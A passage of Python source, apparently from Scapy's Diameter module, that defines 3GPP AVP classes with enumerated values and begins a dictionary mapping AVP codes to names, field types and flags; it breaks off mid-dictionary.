noqa: E501 class AVP_10415_1633 (AVP_FL_V): name = 'Relay-Node-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_RELAY_NODE", 1: "RELAY_NODE", })] # noqa: E501 class AVP_10415_1634 (AVP_FL_V): name = 'MDT-User-Consent' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "CONSENT_NOT_GIVEN", 1: "CONSENT_GIVEN", })] # noqa: E501 class AVP_10415_1636 (AVP_FL_V): name = 'Subscribed-VSRVCC' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "VSRVCC_SUBSCRIBED", })] class AVP_10415_1648 (AVP_FL_V): name = 'SMS-Register-Request' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SMS_REGISTRATION_REQUIRED", 1: "SMS_REGISTRATION_NOT_PREFERRED", 2: "NO_PREFERENCE", })] # noqa: E501 class AVP_10415_1650 (AVP_FL_V): name = 'Daylight-Saving-Time' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NO_ADJUSTMENT", 1: "PLUS_ONE_HOUR_ADJUSTMENT", 2: "PLUS_TWO_HOURS_ADJUSTMENT", })] # noqa: E501 class AVP_10415_2006 (AVP_FL_V): name = 'Interface-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "Unknown", 1: "MOBILE_ORIGINATING", 2: "MOBILE_TERMINATING", 3: "APPLICATION_ORIGINATING", 4: "APPLICATION_TERMINATION", })] class AVP_10415_2007 (AVP_FL_V): name = 'SM-Message-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "SUBMISSION", })] class AVP_10415_2011 (AVP_FL_V): name = 'Reply-Path-Requested' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "No Reply Path Set", 1: "Reply path Set", })] # noqa: E501 class AVP_10415_2016 (AVP_FL_V): name = 'SMS-Node' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SMS Router", 1: "IP-SM-GW", 2: "SMS Router and IP-SM-GW", 3: "SMS-SC", })] # noqa: E501 class AVP_10415_2025 (AVP_FL_V): name = 'PoC-Event-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "Normal;", 1: "Instant Ppersonal Aalert event;", 2: "PoC Group Advertisement event;", 3: "Early Ssession Setting-up event;", 4: "PoC Talk Burst", })] class AVP_10415_2029 (AVP_FL_V): name = 'SM-Service-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "VAS4SMS Short Message content processing", 1: "VAS4SMS Short Message forwarding", 2: "VAS4SMS Short Message Forwarding multiple subscriptions ", 3: "VAS4SMS Short Message filtering ", 4: "VAS4SMS Short Message receipt", 5: "VAS4SMS Short Message Network Storage ", 6: "VAS4SMS Short Message to multiple destinations", 7: "VAS4SMS Short Message Virtual Private Network (VPN)", 8: "VAS4SMS Short Message Auto Reply", 9: "VAS4SMS Short Message Personal Signature", 10: "VAS4SMS Short Message Deferred Delivery ", })] class AVP_10415_2033 (AVP_FL_V): name = 'Subscriber-Role' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Originating", 1: "Terminating", })] # noqa: E501 class AVP_10415_2036 (AVP_FL_V): name = 'SDP-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "SDP Offer", 1: "SDP Answer", })] class AVP_10415_2047 (AVP_FL_V): name = 'Serving-Node-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SGSN", 1: "PMIPSGW", 2: "GTPSGW", 3: "ePDG", 4: "hSGW", 5: "MME", 6: "TWAN", })] # noqa: E501 class AVP_10415_2049 (AVP_FL_V): name = 'Participant-Action-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "CREATE_CONF", 1: "JOIN_CONF", 2: "INVITE_INTO_CONF", 3: "QUIT_CONF", })] # noqa: E501 class AVP_10415_2051 (AVP_FL_V): name = 'Dynamic-Address-Flag' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })] class AVP_10415_2065 (AVP_FL_V): name = 'SGW-Change' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ACR_Start_NOT_due_to_SGW_Change", })] # noqa: E501 class AVP_10415_2066 (AVP_FL_V): name = 'Charging-Characteristics-Selection-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "Serving-Node-Supplied", 1: "Subscription-specific", 2: "APN-specific", 3: "Home-Default", 4: "Roaming-Default", 5: "Visiting-Default", })] class AVP_10415_2068 (AVP_FL_V): name = 'Dynamic-Address-Flag-Extension' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })] class AVP_10415_2118 (AVP_FL_V): name = 'Charge-Reason-Code' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "UNKNOWN", 1: "USAGE", 2: "COMMUNICATION-ATTEMPT-CHARGE", 3: "SETUP-CHARGE", 4: "ADD-ON-CHARGE", })] class AVP_10415_2203 (AVP_FL_V): name = 'Subsession-Operation' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })] # noqa: E501 class AVP_10415_2204 (AVP_FL_V): name = 'Multiple-BBERF-Action' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ESTABLISHMENT", 1: "TERMINATION", })] # noqa: E501 class AVP_10415_2206 (AVP_FL_V): name = 'DRA-Deployment' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "DRA_Deployed", })] class AVP_10415_2208 (AVP_FL_V): name = 'DRA-Binding' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "DRA_BINDING_DELETION", })] class AVP_10415_2303 (AVP_FL_V): name = 'Online-Charging-Flag' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ECF address not provided", 1: "ECF address provided", })] # noqa: E501 class AVP_10415_2308 (AVP_FL_V): name = 'IMSI-Unauthenticated-Flag' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Authenticated", 1: "Unauthenticated", })] # noqa: E501 class AVP_10415_2310 (AVP_FL_V): name = 'AoC-Format' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "MONETARY", 1: "NON_MONETARY", 2: "CAI", })] # noqa: E501 class AVP_10415_2312 (AVP_FL_V): name = 'AoC-Service-Obligatory-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NON_BINDING", 1: "BINDING", })] class AVP_10415_2313 (AVP_FL_V): name = 'AoC-Service-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NONE", 1: "AOC-S", 2: "AOC-D", 3: "AOC-E", })] # noqa: E501 class AVP_10415_2317 (AVP_FL_V): name = 'CSG-Access-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Closed mode", 1: "Hybrid Mode", })] # noqa: E501 class AVP_10415_2318 (AVP_FL_V): name = 'CSG-Membership-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Not CSG member", 1: "CSG Member ", })] # noqa: E501 class AVP_10415_2322 (AVP_FL_V): name = 'IMS-Emergency-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Non Emergency", 1: "Emergency", })] # noqa: E501 class AVP_10415_2323 (AVP_FL_V): name = 'MBMS-Charged-Party' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Content Provider", 1: "Subscriber", })] # noqa: E501 class AVP_10415_2500 (AVP_FL_V): name = 'SLg-Location-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "CURRENT_LOCATION", 1: "CURRENT_OR_LAST_KNOWN_LOCATION", 2: "INITIAL_LOCATION", 3: "ACTIVATE_DEFERRED_LOCATION", 4: "CANCEL_DEFERRED_LOCATION", 5: "NOTIFICATION_VERIFICATION_ONLY", })] class AVP_10415_2507 (AVP_FL_V): name = 'Vertical-Requested' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "VERTICAL_COORDINATE_IS_NOT REQUESTED", 1: "VERTICAL_COORDINATE_IS_REQUESTED", })] # noqa: E501 class AVP_10415_2508 (AVP_FL_V): name = 'Velocity-Requested' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "VELOCITY_IS_NOT_REQUESTED", 1: "BEST VELOCITY_IS_REQUESTED", })] # noqa: E501 class AVP_10415_2509 (AVP_FL_V): name = 'Response-Time' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "LOW_DELAY", 1: "DELAY_TOLERANT", })] # noqa: E501 class AVP_10415_2512 (AVP_FL_V): name = 'LCS-Privacy-Check' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "ALLOWED_WITHOUT_NOTIFICATION", 1: "ALLOWED_WITH_NOTIFICATION", 2: "ALLOWED_IF_NO_RESPONSE", 3: "RESTRICTED_IF_NO_RESPONSE", 4: "NOT_ALLOWED", })] class AVP_10415_2513 (AVP_FL_V): name = 'Accuracy-Fulfilment-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "REQUESTED_ACCURACY_FULFILLED", 1: "REQUESTED_ACCURACY_NOT_FULFILLED", })] # noqa: E501 class AVP_10415_2518 (AVP_FL_V): name = 'Location-Event' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "EMERGENCY_CALL_ORIGINATION", 1: "EMERGENCY_CALL_RELEASE", 2: "MO_LR", 3: "EMERGENCY_CALL_HANDOVER", })] class AVP_10415_2519 (AVP_FL_V): name = 'Pseudonym-Indicator' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PSEUDONYM_NOT_REQUESTED", 1: "PSEUDONYM_REQUESTED", })] # noqa: E501 class AVP_10415_2523 (AVP_FL_V): name = 'LCS-QoS-Class' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ASSURED", 1: "BEST EFFORT", })] class AVP_10415_2538 (AVP_FL_V): name = 'Occurrence-Info' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_EVENT", 1: "MULTIPLE_TIME_EVENT", })] # noqa: E501 class AVP_10415_2550 (AVP_FL_V): name = 'Periodic-Location-Support-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 class AVP_10415_2551 (AVP_FL_V): name = 'Prioritized-List-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NOT_PRIORITIZED", 1: "PRIORITIZED", })] # noqa: E501 class AVP_10415_2602 (AVP_FL_V): name = 'Low-Priority-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NO", })] class AVP_10415_2604 (AVP_FL_V): name = 'Local-GW-Inserted-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Local GW Not Inserted", 1: "Local GW Inserted", })] class AVP_10415_2605 (AVP_FL_V): name = 'Transcoder-Inserted-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Transcoder Not Inserted", 1: "Transcoder Inserted", })] class AVP_10415_2702 (AVP_FL_V): name = 'AS-Code' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "4xx;", 1: "5xx;", 2: "Timeout", })] class AVP_10415_2704 (AVP_FL_V): name = 'NNI-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "non-roaming", 1: "roaming without loopback", 2: "roaming with loopback", })] # noqa: E501 class AVP_10415_2706 (AVP_FL_V): name = 'Relationship-Mode' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "trusted", 1: "non-trusted", })] class AVP_10415_2707 (AVP_FL_V): name = 'Session-Direction' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "inbound", })] class AVP_10415_2710 (AVP_FL_V): name = 'Access-Transfer-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PS to CS Transfer", 1: "CS to PS Transfer", })] # noqa: E501 class AVP_10415_2717 (AVP_FL_V): name = 'TAD-Identifier' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "CS", 1: "PS", })] class AVP_10415_2809 (AVP_FL_V): name = 'Mute-Notification' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "MUTE_REQUIRED", })] class AVP_10415_2811 (AVP_FL_V): name = 'AN-GW-Status' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "AN_GW_FAILED", })] class AVP_10415_2904 (AVP_FL_V): name = 'SL-Request-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "INTERMEDIATE_REQUEST", })] # noqa: E501 class AVP_10415_3407 (AVP_FL_V): name = 'SM-Device-Trigger-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Not DeviceTrigger ", 1: "Device Trigger", })] # noqa: E501 class AVP_10415_3415 (AVP_FL_V): name = 'Forwarding-Pending' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Forwarding not pending", 1: "Forwarding pending", })] # noqa: E501 class AVP_10415_3421 (AVP_FL_V): name = 'CN-Operator-Selection-Entity' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "The Serving Network has been selected by the UE", 1: "The Serving Network has been selected by the network", })] class AVP_10415_3428 (AVP_FL_V): name = 'Coverage-Status' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Out of coverage", 1: "In coverage", })] # noqa: E501 class AVP_10415_3438 (AVP_FL_V): name = 'Role-Of-ProSe-Function' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", })] class AVP_10415_3442 (AVP_FL_V): name = 'ProSe-Direct-Discovery-Model' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Model A", 1: "Model B", })] class AVP_10415_3443 (AVP_FL_V): name = 'ProSe-Event-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Announcing", 1: "Monitoring", 2: "Match Report", })] # noqa: E501 class AVP_10415_3445 (AVP_FL_V): name = 'ProSe-Functionality' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Direct discovery", 1: "EPC-level discovery", })] # noqa: E501 class AVP_10415_3448 (AVP_FL_V): name = 'ProSe-Range-Class' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Reserved", 1: "50 m", 2: "100 m", 3: "200 m", 4: "500 m", 5: "1000 m", })] # noqa: E501 class AVP_10415_3449 (AVP_FL_V): name = 'ProSe-Reason-For-Cancellation' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Proximity Alert sent", 1: "Time expired with no renewal", })] class AVP_10415_3451 (AVP_FL_V): name = 'ProSe-Role-Of-UE' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Announcing UE", 1: "Monitoring UE", 2: "Requestor UE", })] # noqa: E501 class AVP_10415_3454 (AVP_FL_V): name = 'Proximity-Alert-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Alert", 1: "No Alert", })] # Remaining AVPs (which do not need to be declared as classes) ############################################################## # In AvpDefDict dictionary, the first level key is the 'AVP vendor' and the second level key is the 'AVP code' # noqa: E501 # Each tuple then defines the AVP name, the Scapy class and the default flags AvpDefDict = { 0: { 1: ('User-Name', AVPNV_StrLenField, 64), 2: ('User-Password', AVPNV_OctetString, 64), 5: ('NAS-Port', AVPNV_Unsigned32, 64), 6: ('Service-Type', AVP_0_6, 64), 7: ('Framed-Protocol', AVP_0_7, 64), 9: ('Framed-IP-Netmask', AVPNV_OctetString, 64), 10: ('Framed-Routing', AVP_0_10, 64), 11: ('Filter-Id', AVPNV_StrLenField, 64), 12: ('Framed-MTU', AVPNV_Unsigned32, 64), 13: ('Framed-Compression', AVP_0_13, 64), 15: ('Login-Service', AVP_0_15, 64), 16: ('Login-TCP-Port', AVPNV_Unsigned32, 64), 18: ('Reply-Message', AVPNV_StrLenField, 64), 19: ('Callback-Number', AVPNV_StrLenField, 64), 20: ('Callback-Id', AVPNV_StrLenField, 64), 22: ('Framed-Route', AVPNV_StrLenField, 64), 23: ('Framed-IPX-Network', AVPNV_Unsigned32, 64), 25: ('Class', AVPNV_OctetString, 64), 27: ('Session-Timeout', AVPNV_Unsigned32, 64), 28: ('Idle-Timeout', AVPNV_Unsigned32, 64), 30: ('Called-Station-Id', AVPNV_StrLenField, 64), 31: ('Calling-Station-Id', AVPNV_StrLenField, 64), 33: ('Proxy-State', AVPNV_OctetString, 64), 34: ('Login-LAT-Service', AVPNV_OctetString, 64), 35: ('Login-LAT-Node', AVPNV_OctetString, 64), 36: ('Login-LAT-Group', AVPNV_OctetString, 64), 37: ('Framed-Appletalk-Link', AVPNV_Unsigned32, 64), 38: ('Framed-Appletalk-Network', AVPNV_Unsigned32, 64), 39: ('Framed-Appletalk-Zone', AVPNV_OctetString, 64), 41: ('Acct-Delay-Time', AVPNV_Unsigned32, 64), 44: ('Acct-Session-Id', AVPNV_OctetString, 64), 45: ('Acct-Authentic', AVP_0_45, 64), 46: ('Acct-Session-Time', AVPNV_Unsigned32, 64), 50: ('Acct-Multi-Session-Id', AVPNV_StrLenField, 64), 51: ('Acct-Link-Count', AVPNV_Unsigned32, 64), 55: ('Event-Timestamp', AVPNV_Time, 64), 60: ('CHAP-Challenge', AVPNV_OctetString, 64), 61: ('NAS-Port-Type', AVP_0_61, 64), 62: ('Port-Limit', AVPNV_Unsigned32, 64), 63: ('Login-LAT-Port', AVPNV_OctetString, 64), 64: ('Tunnel-Type', AVP_0_64, 64), 65: ('Tunnel-Medium-Type', AVP_0_65, 64), 66: ('Tunnel-Client-Endpoint', AVPNV_StrLenField, 64), 67: ('Tunnel-Server-Endpoint', AVPNV_StrLenField, 64), 68: ('Acct-Tunnel-Connection', AVPNV_OctetString, 64), 69: ('Tunnel-Password', AVPNV_OctetString, 64), 70: ('ARAP-Password', AVPNV_OctetString, 64), 71: ('ARAP-Features', AVPNV_OctetString, 64), 72: ('ARAP-Zone-Access', AVP_0_72, 64), 73: ('ARAP-Security', AVPNV_Unsigned32, 64), 74: ('ARAP-Security-Data', AVPNV_OctetString, 64), 75: ('Password-Retry', AVPNV_Unsigned32, 64), 76: ('Prompt', AVP_0_76, 64), 77: ('Connect-Info', AVPNV_StrLenField, 64), 78: ('Configuration-Token', AVPNV_OctetString, 64), 81: ('Tunnel-Private-Group-Id', AVPNV_OctetString, 64), 82: ('Tunnel-Assignment-Id', AVPNV_OctetString, 64), 83: ('Tunnel-Preference', AVPNV_Unsigned32, 64), 84: ('ARAP-Challenge-Response', AVPNV_OctetString, 64), 85: ('Acct-Interim-Interval', AVPNV_Unsigned32, 64), 86: ('Acct-Tunnel-Packets-Lost', AVPNV_Unsigned32, 64), 87: ('NAS-Port-Id', AVPNV_StrLenField, 64), 88: ('Framed-Pool', AVPNV_OctetString, 64), 89: ('Chargeable-User-Identity', AVPNV_OctetString, 64), 90: ('Tunnel-Client-Auth-Id', AVPNV_StrLenField, 64), 91: ('Tunnel-Server-Auth-Id', AVPNV_StrLenField, 64), 94: ('Originating-Line-Info', AVPNV_OctetString, 64), 96: ('Framed-Interface-Id', AVPNV_Unsigned64, 64), 97: ('Framed-IPv6-Prefix', AVPNV_OctetString, 64), 99: ('Framed-IPv6-Route', AVPNV_StrLenField, 64), 100: ('Framed-IPv6-Pool', AVPNV_OctetString, 64), 102: ('EAP-Key-Name', AVPNV_OctetString, 64), 104: ('Digest-Realm', AVPNV_StrLenField, 64), 110: ('Digest-Qop', AVPNV_StrLenField, 64), 111: ('Digest-Algorithm', AVPNV_StrLenField, 64), 121: ('Digest-HA1', AVPNV_OctetString, 64), 124: ('MIP6-Feature-Vector', AVPNV_Unsigned64, 64), 125: ('MIP6-Home-Link-Prefix', AVPNV_OctetString, 64), 257: ('Host-IP-Address', AVPNV_Address, 64), 258: ('Auth-Application-Id', AVP_0_258, 64), 259: ('Acct-Application-Id', AVPNV_Unsigned32, 64), 260: ('Vendor-Specific-Application-Id', AVPNV_Grouped, 64), 261: ('Redirect-Host-Usage', AVP_0_261, 64), 262: ('Redirect-Max-Cache-Time', AVPNV_Unsigned32, 64), 263: ('Session-Id', AVPNV_StrLenField, 64), 264: ('Origin-Host', AVPNV_StrLenField, 64), 265: ('Supported-Vendor-Id', AVPNV_Unsigned32, 64), 266: ('Vendor-Id', AVP_0_266, 64), 267: ('Firmware-Revision', AVPNV_Unsigned32, 0), 268: ('Result-Code', AVP_0_268, 64), 269: ('Product-Name', AVPNV_StrLenField, 0), 270: ('Session-Binding', AVPNV_Unsigned32, 64), 271: ('Session-Server-Failover', AVP_0_271, 64), 272: ('Multi-Round-Time-Out', AVPNV_Unsigned32, 64), 273: ('Disconnect-Cause', AVP_0_273, 64), 274: ('Auth-Request-Type', AVP_0_274, 64), 276: ('Auth-Grace-Period', AVPNV_Unsigned32, 64), 277: ('Auth-Session-State', AVP_0_277, 64), 278: ('Origin-State-Id', AVPNV_Unsigned32, 64), 279: ('Failed-AVP', AVPNV_Grouped, 64), 280: ('Proxy-Host', AVPNV_StrLenField, 64), 281: ('Error-Message', AVPNV_StrLenField, 0), 282: ('Route-Record', AVPNV_StrLenField, 64), 283: ('Destination-Realm', AVPNV_StrLenField, 64), 284: ('Proxy-Info', AVPNV_Grouped, 64), 285: ('Re-Auth-Request-Type', AVP_0_285, 64), 287: ('Accounting-Sub-Session-Id', AVPNV_Unsigned64, 64), 291: ('Authorization-Lifetime', AVPNV_Unsigned32, 64), 292: ('Redirect-Host', AVPNV_StrLenField, 64), 293: ('Destination-Host', AVPNV_StrLenField, 64), 294: ('Error-Reporting-Host', AVPNV_StrLenField, 0), 295: ('Termination-Cause', AVP_0_295, 64), 296: ('Origin-Realm', AVPNV_StrLenField, 64), 297: ('Experimental-Result', AVPNV_Grouped, 64), 298: ('Experimental-Result-Code', AVP_0_298, 64), 299: ('Inband-Security-Id', AVPNV_Unsigned32, 64), 318: ('MIP-FA-to-HA-SPI', AVPNV_Unsigned32, 64), 319: ('MIP-FA-to-MN-SPI', AVPNV_Unsigned32, 64), 320: ('MIP-Reg-Request', AVPNV_OctetString, 64), 321: ('MIP-Reg-Reply', AVPNV_OctetString, 64), 322: ('MIP-MN-AAA-Auth', AVPNV_Grouped, 64), 323: ('MIP-HA-to-FA-SPI', AVPNV_Unsigned32, 64), 325: ('MIP-MN-to-FA-MSA', AVPNV_Grouped, 64), 326: ('MIP-FA-to-MN-MSA', AVPNV_Grouped, 64), 328: ('MIP-FA-to-HA-MSA', AVPNV_Grouped, 64), 329: ('MIP-HA-to-FA-MSA', AVPNV_Grouped, 64), 331: ('MIP-MN-to-HA-MSA', AVPNV_Grouped, 64), 332: ('MIP-HA-to-MN-MSA', AVPNV_Grouped, 64), 333: ('MIP-Mobile-Node-Address', AVPNV_Address, 64), 334: ('MIP-Home-Agent-Address', AVPNV_Address, 64), 335: ('MIP-Nonce', AVPNV_OctetString, 64), 336: ('MIP-Candidate-Home-Agent-Host', AVPNV_StrLenField, 64), 337: ('MIP-Feature-Vector', AVPNV_Unsigned32, 64), 338: ('MIP-Auth-Input-Data-Length', AVPNV_Unsigned32, 64), 339: ('MIP-Authenticator-Length', AVPNV_Unsigned32, 64), 340: ('MIP-Authenticator-Offset', AVPNV_Unsigned32, 64), 341: ('MIP-MN-AAA-SPI', AVPNV_Unsigned32, 64), 342: ('MIP-Filter-Rule', AVPNV_IPFilterRule, 64), 343: ('MIP-Session-Key', AVPNV_OctetString, 64), 344: ('MIP-FA-Challenge', AVPNV_OctetString, 64), 345: ('MIP-Algorithm-Type', AVP_0_345, 64), 346: ('MIP-Replay-Mode', AVP_0_346, 64), 347: ('MIP-Originating-Foreign-AAA', AVPNV_Grouped, 64), 348: ('MIP-Home-Agent-Host', AVPNV_StrLenField, 64), 363: ('Accounting-Input-Octets', AVPNV_Unsigned64, 64), 364: ('Accounting-Output-Octets', AVPNV_Unsigned64, 64), 365: ('Accounting-Input-Packets', AVPNV_Unsigned64, 64), 366: ('Accounting-Output-Packets', AVPNV_Unsigned64, 64), 367: ('MIP-MSA-Lifetime', AVPNV_Unsigned32, 64), 368: ('SIP-Accounting-Information', AVPNV_Grouped, 64), 369: ('SIP-Accounting-Server-URI', AVPNV_StrLenField, 64), 370: ('SIP-Credit-Control-Server-URI', AVPNV_StrLenField, 64), 371: ('SIP-Server-URI', AVPNV_StrLenField, 64), 372: ('SIP-Server-Capabilities', AVPNV_Grouped, 64), 373: ('SIP-Mandatory-Capability', AVPNV_Unsigned32, 64), 374: ('SIP-Optional-Capability', AVPNV_Unsigned32, 64), 375: ('SIP-Server-Assignment-Type', AVP_0_375, 64), 376: ('SIP-Auth-Data-Item', AVPNV_Grouped, 64), 377: ('SIP-Authentication-Scheme', AVP_0_377, 64), 378: ('SIP-Item-Number', AVPNV_Unsigned32, 64), 379: ('SIP-Authenticate', AVPNV_Grouped, 64), 380: ('SIP-Authorization', AVPNV_Grouped, 64), 381: ('SIP-Authentication-Info', AVPNV_Grouped, 64), 382: ('SIP-Number-Auth-Items', AVPNV_Unsigned32, 64), 383: ('SIP-Deregistration-Reason', AVPNV_Grouped, 64), 384: ('SIP-Reason-Code', AVP_0_384, 64), 385: ('SIP-Reason-Info', AVPNV_StrLenField, 64), 386: ('SIP-Visited-Network-Id', AVPNV_StrLenField, 64), 387: ('SIP-User-Authorization-Type', AVP_0_387, 64), 388: ('SIP-Supported-User-Data-Type', AVPNV_StrLenField, 64), 389: ('SIP-User-Data', AVPNV_Grouped, 64), 390: ('SIP-User-Data-Type', AVPNV_StrLenField, 64), 391: ('SIP-User-Data-Contents', AVPNV_OctetString, 64), 392: ('SIP-User-Data-Already-Available', AVP_0_392, 64), 393: ('SIP-Method', AVPNV_StrLenField, 64), 400: ('NAS-Filter-Rule', AVPNV_IPFilterRule, 64), 401: ('Tunneling', AVPNV_Grouped, 64), 402: ('CHAP-Auth', AVPNV_Grouped, 64), 403: ('CHAP-Algorithm', AVP_0_403, 64), 404: ('CHAP-Ident', AVPNV_OctetString, 64), 405: ('CHAP-Response', AVPNV_OctetString, 64), 406: ('Accounting-Auth-Method', AVP_0_406, 64), 407: ('QoS-Filter-Rule', AVPNV_QoSFilterRule, 64), 411: ('CC-Correlation-Id', AVPNV_OctetString, 0), 412: ('CC-Input-Octets', AVPNV_Unsigned64, 64), 413: ('CC-Money', AVPNV_Grouped, 64), 414: ('CC-Output-Octets', AVPNV_Unsigned64, 64), 415: ('CC-Request-Number', AVPNV_Unsigned32, 64), 416: ('CC-Request-Type', AVP_0_416, 64), 417: ('CC-Service-Specific-Units', AVPNV_Unsigned64, 64), 418: ('CC-Session-Failover', AVP_0_418, 64), 419: ('CC-Sub-Session-Id', AVPNV_Unsigned64, 64), 420: ('CC-Time', AVPNV_Unsigned32, 64), 421: ('CC-Total-Octets', AVPNV_Unsigned64, 64), 422: ('Check-Balance-Result', AVP_0_422, 64), 423: ('Cost-Information', AVPNV_Grouped, 64), 424: ('Cost-Unit', AVPNV_StrLenField, 64), 425: ('Currency-Code', AVPNV_Unsigned32, 64), 426: ('Credit-Control', AVP_0_426, 64), 427: ('Credit-Control-Failure-Handling', AVP_0_427, 64), 428: ('Direct-Debiting-Failure-Handling', AVP_0_428, 64), 429: ('Exponent', AVPNV_Integer32, 64), 430: ('Final-Unit-Indication', AVPNV_Grouped, 64), 431: ('Granted-Service-Unit', AVPNV_Grouped, 64), 432: ('Rating-Group', AVPNV_Unsigned32, 64), 433: ('Redirect-Address-Type', AVP_0_433, 64), 434: ('Redirect-Server', AVPNV_Grouped, 64), 435: ('Redirect-Server-Address', AVPNV_StrLenField, 64), 436: ('Requested-Action', AVP_0_436, 64), 437: ('Requested-Service-Unit', AVPNV_Grouped, 64), 438: ('Restriction-Filter-Rule', AVPNV_IPFilterRule, 64), 439: ('Service-Identifier', AVPNV_Unsigned32, 64), 440: ('Service-Parameter-Info', AVPNV_Grouped, 0), 441: ('Service-Parameter-Type', AVPNV_Unsigned32, 0), 442: ('Service-Parameter-Value', AVPNV_OctetString, 0), 443: ('Subscription-Id', AVPNV_Grouped, 64), 444: ('Subscription-Id-Data', AVPNV_StrLenField, 64), 445: ('Unit-Value', AVPNV_Grouped, 64), 446: ('Used-Service-Unit', AVPNV_Grouped, 64), 447: ('Value-Digits', AVPNV_Integer64, 64), 448: ('Validity-Time', AVPNV_Unsigned32, 64), 449: ('Final-Unit-Action', AVP_0_449, 64), 450: ('Subscription-Id-Type', AVP_0_450, 64), 451: ('Tariff-Time-Change', AVPNV_Time, 64), 452: ('Tariff-Change-Usage', AVP_0_452, 64), 453: ('G-S-U-Pool-Identifier', AVPNV_Unsigned32, 64), 454: ('CC-Unit-Type', AVP_0_454, 64), 455: ('Multiple-Services-Indicator', AVP_0_455, 64), 